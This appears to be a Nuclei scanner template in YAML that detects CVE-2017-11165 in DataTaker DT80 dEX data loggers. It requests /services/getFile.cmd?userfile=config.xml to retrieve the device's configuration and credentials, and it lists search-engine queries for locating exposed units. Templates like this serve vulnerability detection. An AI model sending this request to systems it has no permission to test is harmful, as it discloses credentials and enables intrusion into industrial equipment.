id: CVE-2017-11165

info:
  name: DataTaker DT80 dEX 1.50.012 - Information Disclosure
  author: theabhinavgaur
  severity: critical
  description: |
    DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive data, potentially compromising the confidentiality of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45094
    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
    - https://www.exploit-db.com/exploits/42313/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11165
    cwe-id: CWE-200
    epss-score: 0.6413
    epss-percentile: 0.99148
    cpe: cpe:2.3:o:datataker:dt80_dex_firmware:1.50.012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: datataker
    product: dt80_dex_firmware
    shodan-query: http.title:"datataker"
    fofa-query: title="datataker"
    google-query: intitle:"datataker"
  tags: cve2017,cve,lfr,edb,datataker,config,packetstorm,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "COMMAND_SERVER"
          - "<loggerSettings>"
          - "config id=\"config"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"

      - type: status
        status:
          - 200
# digest: 490a00463044022069a8c28ef1c7aa8b6211fe9d4f08c0bdca5f0de163fda6df50b22137442e13b8022020ec7c2e27af6af1a58b40f9c69754346c6c734e7ac317a337eae4308b579049:922c64590222798bb761d5b6d8e72950